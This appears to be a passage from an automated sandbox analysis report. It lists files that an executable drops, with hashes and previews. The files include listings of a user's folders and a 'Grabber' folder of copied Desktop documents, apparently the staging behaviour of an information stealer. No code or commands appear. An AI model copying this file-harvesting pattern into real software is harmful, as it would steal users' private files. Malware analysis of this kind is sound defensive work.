Preview:	Documents\...AQRFEVRTGL\...BJZFPPWAPT\...BNAGMGSPLO\....BJZFPPWAPT.jpg....BNAGMGSPLO.docx....DUUDTUBZFW.png....EEGWXUHVUG.xlsx....EFOYFBOLXA.pdf....ZGGKNSUKOP.mp3...EWZCVGNOWT\...GLTYDMDUST\...GRXZDKKVDB\...KLIZUSIQEN\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...NVWZAPQSQL\....EIVQSAOTAQ.pdf....NVWZAPQSQL.docx....PALRGUCVEH.xlsx....TQDFJHPUIU.jpg....UNKRLCVOHV.mp3....ZIPXYXWIOY.png...PIVFAGEAAV\....BNAGMGSPLO.xlsx....EEGWXUHVUG.jpg....EFOYFBOLXA.mp3....NVWZAPQSQL.png....PIVFAGEAAV.docx....SQSJKEBWDT.pdf...SNIPGPPREP\...SQSJKEBWDT\....EFOYFBOLXA.xlsx....GIGIYTFFYT.png....JDDHMPCDUJ.mp3....PALRGUCVEH.pdf....SQSJKEBWDT.docx....ZGGKNSUKOP.jpg...ZIPXYXWIOY\...BJZFPPWAPT.jpg...BNAGMGSPLO.docx...BNAGMGSPLO.xlsx...desktop.ini...DUUDTUBZFW.png...EEGWXUHVUG.jpg...EEGWXUHVUG.xlsx...EFOYFBOLXA.mp3...EFOYFBOLXA.pdf...EFOYFBOLXA.xlsx...EIVQSAOTAQ.pdf...GIGIYTFFYT.png...JDDHMPCDUJ.mp3...NVWZA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	442
Entropy (8bit):	5.27393424578825
Encrypted:	false
SSDEEP:	12:ajtCKLKpjGrZeMcArqP3me/IlVde7P/upCOc35yclF:a5yNG9f983me/IlsHucn57lF
MD5:	E28F9A72F738C5656481CD377C0AD980
SHA1:	DF58B1E5744D0992473BF1EE4AC2B1515FBBEE5B
SHA-256:	47B6E88AD011D94EC4774A555DD68054A4C3D2CDD162CDA3421279DD023669F1
SHA-512:	0331DFA23A536C23D8D9A5762E9AC389835EF75C982122DF07B1B09CE748EF202349943D2C7520F9E91C1054A56C511BE99CF0C5D0D120BA6E044B2AC6BFBE99
Malicious:	false
Preview:	Downloads\...BJZFPPWAPT.jpg...BNAGMGSPLO.docx...BNAGMGSPLO.xlsx...desktop.ini...DUUDTUBZFW.png...EEGWXUHVUG.jpg...EEGWXUHVUG.xlsx...EFOYFBOLXA.mp3...EFOYFBOLXA.pdf...EFOYFBOLXA.xlsx...EIVQSAOTAQ.pdf...GIGIYTFFYT.png...JDDHMPCDUJ.mp3...NVWZAPQSQL.docx...NVWZAPQSQL.png...PALRGUCVEH.pdf...PALRGUCVEH.xlsx...PIVFAGEAAV.docx...SQSJKEBWDT.docx...SQSJKEBWDT.pdf...TQDFJHPUIU.jpg...UNKRLCVOHV.mp3...ZGGKNSUKOP.jpg...ZGGKNSUKOP.mp3...ZIPXYXWIOY.png..

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4543
Entropy (8bit):	5.159988992404975
Encrypted:	false
SSDEEP:	96:4tiCKcwGT+jDM9Zw72fSASbSbdbsuEMnI0kjMC1GA03Mj0H0A2WUwbLDjg/uZ9Jx:LYfa2fSASOpgu9nI0kjMC1GA08oH0AXJ
MD5:	EB4F7E52BB8E40F30D0A5E741854A7D2
SHA1:	B3E8CC12B29DD53875804A1720CF414E66770623
SHA-256:	32394F4261376733144A658A39CFB079D9BE3F2FB91F5BDC643687CA37C000C4
SHA-512:	DB2321041B989ADA609FF737CA1DBED68C6462B56F9971F2915C58B614CD787B396656381D21EB804330C200DE7000EE6B5EE9C125703DC40C6362C4AD402B41
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-42-624.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-55-956.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696428505298658900_7B05BF2A-C74F-44F8-B674-AA3F9719008B.log.....App1696428527628431800_6CD9E3BB-4D03-46BD-8615-75A902267162.log.....App1696428537364279100_A2018481-B961-46B4-9328-34939DEAF293.log.....App1696428537364768600_A2018481-B961-46B4-9328-34939DEAF293.log...edge_BITS_6440_1090636871\....4643befd-79b8-4e0c-a2fb-c0e3ee78dcd5...edge_BITS_6440_1191663050\....9e51170b-7adf-40ab-83b6-5f97b13bedcb...edge_BITS_6440_1234978473\....1187695d-8276-4e31-8de1-9e57768989bd...edge_BITS_6440_1289371347\....78549187-a875-4f1e-8dfa-9938ebc29c81...edge_BITS_6440_1318414972\....873489b1-33b2-480a-baa2-641b9e09edcd...ed

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\BJZFPPWAPT.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
